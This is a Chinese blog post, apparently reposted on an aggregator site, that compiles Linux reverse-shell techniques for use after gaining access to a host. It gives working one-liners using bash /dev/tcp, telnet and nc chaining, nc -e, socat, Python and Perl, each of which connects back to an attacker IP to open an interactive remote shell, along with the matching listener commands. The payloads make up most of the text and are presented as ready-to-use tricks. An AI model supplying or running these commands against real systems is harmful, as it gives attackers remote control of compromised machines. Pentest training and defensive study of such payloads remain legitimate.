【安全知识】——LInux的shell反弹姿势合集(更新中)

news2024/11/19 20:26:14

作者名:白昼安全
主页面链接: 主页传送门
座右铭:
不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日鸡汤: 
宇宙有宇宙的规律,我也有我的坚持

当我们拿到一台LINUX主机的权限时,往往都需要反弹到公网的服务器上,一般我们使用bash来反弹的情况居多,但是bash也有失灵的时候。在这种情况下,我们可以尝试使用其他的反弹语句来达到我们的目的。

下面给大家列举一些平时用的比较多的shell反弹方法

这里的演示环境为

目标机器:centos        192.168.149.133 

攻击机器:kali          192.168.149.129

 一、Bash反弹

条件:

当前用户有足够的权限执行bash命令

当前的shell环境需要是bash shell下,不是bash shell的话会导致报错,提示没有该目录或文件夹

例如kali默认的就是zsh shell,所以如果想把kali的shell用bash反弹出去的话需要先用bash命令进入bash shell才能使用bash反弹shell,如下

 1、攻击机上执行监听

nc -lnvp port

"port"为监听的端口号

2、目标机器上使用bash反弹shell

bash -i >& /dev/tcp/x.x.x.x/port 0>&1

bash -i 打开一个交互的bash

>& 将标准错误输出重定向到标准输出

/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口

0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

 

 3、效果如下

二、telnet反弹

Telnet 是一种用于远程登录到计算机系统的网络协议和命令行工具。使用 Telnet,您可以在本地计算机上打开终端窗口,然后通过 Internet 或局域网连接到其他计算机。

Telnet 命令可用于连接到远程计算机并执行各种操作,例如运行命令、编辑文件或查看系统信息。您可以使用 Telnet 客户端应用程序来发起 Telnet 会话,并在会话期间发送命令和接收输出。简单来说就是ssh的前身

条件:目标机器上存在telnet服务 

1、 攻击者主机上打开两个终端分别执行监听

nc -lnvp port1
nc -lnvp port2

监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip 

2、目标主机中执行

telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

3、效果如下

 在4444的监听终端输入指令,即可在5555的监听终端查看指令结果

 三、nc反弹

1、支持-e参数

如果目标机器上的nc支持-e参数,如下就可以直接反弹

攻击机执行

nc -lnvp 端口

目标机器执行如下命令反弹shell

nc -e /bin/bash x.x.x.x port 

 效果如下

 2、不支持-e参数

这里讲的就是另外一种情况,目标机器上有nc,但是nc的版本不支持e参数,这里就给大家介绍一个技巧——NC串连

kali攻击机上开启两个终端监听不同端口分别用于接收输入和输出

 

目标机器上使用nc串联反弹权限 

nc 客户端的ip 第一个端口|/bin/bash |nc 客户端的ip  第二个端口


 

详细给大家讲一下服务端执行这条命令的意思 

语句的前半部分服务端nc将shell回弹到客户端ip的第一个端口,此时客户端开启对第一个端口的监听并成功建立连接(但这里并不是交互式shell,看不到命令执行的结果),语句后半部分意思就是将用户在第一个端口建立的shell上的命令执行结果作为第二个端口的输出内容,此时用户再用客户端nc监听并连接第二个端口,这样就可以实现攻击者在第一个端口输入命令,在第二个端口就能看到命令执行的结果

效果如下

 这样我们再4567端口的监听页面输入的命令的回显结果就会在1234端口的监听页面显示

这招巨好用,大家可以多看看或者下去自己试一下 

四、socat反弹

socat是一个用于数据转发的命令行工具,它可以在两个端口之间建立虚拟通道,将数据从一个端口转发到另一个端口,同时支持很多网络协议。

1、攻击机开启监听

2、目标机器使用socat反弹shell

 执行如下命令

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:port

 x.x.x.x是攻击机的ip

port是攻击机开启的监听端口

 3、效果如下

 五、Python反弹

1、攻击机开启监听

 nc -lnvp port

我这里用的是

nc -lnvp 1234 

2、目标机器使用python反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('x.x.x.x',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

  x.x.x.x是攻击机的ip

port是攻击机开启的监听端口

 

3、效果如下

六、PHP反弹

 

1、攻击机开启监听

nc -lnvp port

2、目标机器上使用php反弹shell

 

3、效果如下

七、Perl反弹 

1、攻击机开启监听

nc -lnvp port

2、目标机器上使用perl反弹shell

perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

即可成功拿到目标shell,效果与php反弹shell差不多,文章篇幅原因就不附图了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/537157.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java版企业工程项目管理系统源码+spring cloud 系统管理+java 系统设置+二次开发

工程项目各模块及其功能点清单 一、系统管理 1、数据字典:实现对数据字典标签的增删改查操作 2、编码管理:实现对系统编码的增删改查操作 3、用户管理:管理和查看用户角色 4、菜单管理:实现对系统菜单的增删改查操…

线下沙龙丨瑞云“遇·建”-上海站建筑可视化技术沙龙活动圆满落幕!

艺术挑战技术,技术启发艺术,视觉行业的技术日新月异,实时渲染、云制作/云协作以及AIGC等创新技术,不仅能够帮助视觉行业同仁落实愿景,也实现了更加精简的工作流程。 2023年4月26日,深圳市瑞云科技股份有限公…

ChatGPT对健康医疗意味着什么?

ChatGPT可能是有史以来增长最快的消费者互联网应用程序。OpenAI开发的人工智能聊天机器人于11月推出,仅两个月就达到了1亿用户。它空前的流行可归因于其令人印象深刻的功能。 ChatGPT可以做什么,为什么如此受欢迎? 人工智能曾经是科幻小说中…

ControlNet: 控制扩散模型的魔法

出品人:Towhee 技术团队 作者:王翔宇 从去年以来 AIGC 的技术不断冲击人们的想象力,针对图片的扩散模型(midjourney 和 stable diffusion)已经可以在给于 prompt 下生成非常吸引人的图像,但是如果希望以别…

网络安全论坛哪里找?

下面给大家介绍一些比较常见的国内安全论坛: 1、黑客基地:http://www.hackbase.com/ 黑基网(WWW.HACKBASE.NET)成立于2003年,由IT精英和白帽黑客共同发起创立,致力于打造高端IT与网络安全的技术交流平台&…

数据结构及算法应用

第十四章、数据结构及算法应用 1、分治法 对于一个规模为n的问题,若该问题可以容易地解决(比如说规模n较小)则直接解决;否则将其分解为k个规模较小的子问题,这些子问题互相独立且与原问题形式相同,递归地…

janus videoroom 对接freeswitch conference 篇1

janus videoroom 实时性非常好, freeswitch conference的功能也很多 ,有没办法集成到一块呢 让很多sip 视频终端也能显示到videoroom 里面, 实现方式要不两种 1.改源码实现 (本文忽略 难度高) 2.找一个videoroom管…

什么是JS事件流

什么是JS事件流? 一&#xff1a;事件冒泡 <!DOCTYPE html> <html lang"en"> <head><title>事件冒泡例子</title> </head> <body><div id"box">点击我</div> </body> </html>上述的代…

需求管理(三)需求过程

一、需求规格说明 1.1需求规格说明概述 需求获取的目标是得到用户的需求——收集需求信息 需求分析的目标是更深刻的理解用户的需求——界定能够让用户满意的解决方案和准则 需求规格说明的目标是定义用户的需求——准确描述其需求和解决方案 需求规格说明文档的撰写流程如下图…

DHCP+链路聚合+NAT+ACL小型实验

实验要求: 1.按照拓扑图上标识规划网络。 2.使用0SPF协议进程100实现ISP互通。 3.私网内PC属于VLAN1O, FTP Server属于VLAN2O,网关分 别为所连接的接入交换机&#xff0c;其中PC要求通过DHCP动态获取 4:私网内部所有交换机都为三层交换机&#xff0c;请合理规划VLAN&#…

关于对tinymce富文本编辑器使用的心得

本文分为一下几个功能&#xff1a; tinymce初始化的一些配置在工具栏和文本中间插入特定的标题和摘要自定义工具栏按钮&#xff0c;实现特定功能上传图片时去掉网络上传功能粘贴过来的图片实现默认上传给图片添加水印功能实现一键排版 一、tinymce初始化的一些配置 1、首先需要…

机械大专生能学会云计算吗,完全零基础的

机械大专生能学会云计算吗&#xff0c;完全零基础的 正常来说&#xff0c;大专及以上学历都能学会云计算&#xff0c;但是会和满足就业需求是两回事哈。如果你想通过学习就业&#xff0c;就需要根据当下相关岗位的普遍技术需求以及其他方面的要求&#xff0c;来针对性的学习和提…

契约锁连续入选金融信创生态实验室「金融信创优秀解决方案」

近日&#xff0c;中国人民银行直属机构--金融信创生态实验室正式公布《金融信创优秀解决方案&#xff08;第二期&#xff09;》评选结果&#xff0c;契约锁「印章管控方案」成功入选&#xff0c;并被收录在“一般业务类-产业机构”名录&#xff0c;为金融机构的印章管控及电子签…

一个简单的运筹优化生产问题求解过程

运筹相关的一个简单的生产问题 题目来自于清华大学出版的《运筹学》第四版。 一、问题描述 二、图解法 三、单纯形法 第一次迭代&#xff1a; 第二次迭代&#xff1a; 第三次迭代&#xff1a; 下面描述一下第三次迭代的详细过程&#xff1a; 从表达式&#xff08;2-18&#…

一文理解Kafka

概述 Kafka是一个基于Zookeeper的分布式消息中间件&#xff0c;支持消息分区&#xff0c;提供发布和订阅功能。使用Scala编写&#xff0c;主要特点是可水平扩展&#xff0c;高吞吐率以及高并发。 常见的使用场景&#xff1a; 企业级别活动数据和运营数据的消息传递&am…

2023年自动化测试如何学?从头开始自动化测试指南,一路晋升...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 Python自动化测试&…

❤ 用JS 从零开始开发一个 Chrome 提示插件(简单易学 10分钟搞定)

❤ 为自己量身手写一个chrome暖心插件&#xff08;资源文章最后&#xff09; ❤ 最近看到了一个很温馨的提示代码,于是想着为自己的浏览器做一款chrome插件 1、chrome 插件理解&#xff1a; 一个html js css image的一个web应用 不同于普通的web应用&#xff0c; chrome插…

怎么把视频转换成gif动图,5个超强工具分享

在我们平时的聊天中&#xff0c;会经常遇到需要将视频转换成gif动图的情况。这样一来&#xff0c;我们可以轻松将视频中的经典片段转换成gif动图&#xff0c;方便分享和娱乐。同时&#xff0c;这种方式不仅能够传播视频内容&#xff0c;还能带来很多趣味。 然而&#xff0c;许…

1,Hadoop的基本概念和架构

Hadoop的基本概念和架构 学习路线 hadoop的基本概念和架构hadoop的安装和配置hadoop的HDFS文件系统hadoop的MapReduce计算框架hadoop的YARN资源管理器hadoop的高级特效&#xff0c;如HBase&#xff0c;Hive&#xff0c;Pig等hadoop的优化和调优hadoop的应用场景&#xff0c;如…

Qt中的互斥锁(QMutex和QMutexLocker)

QMutex和QMutexLocker 类 QMutex 的主要函数有&#xff1a; lock ()&#xff1b; 加锁&#xff0c;如果该互斥锁被占用&#xff0c;该函数阻塞&#xff0c;直到互斥锁被释放。unlock ()&#xff1b; 解锁bool tryLock (int timeout 0)&#xff1b; 表示尝试去加锁&#xff0…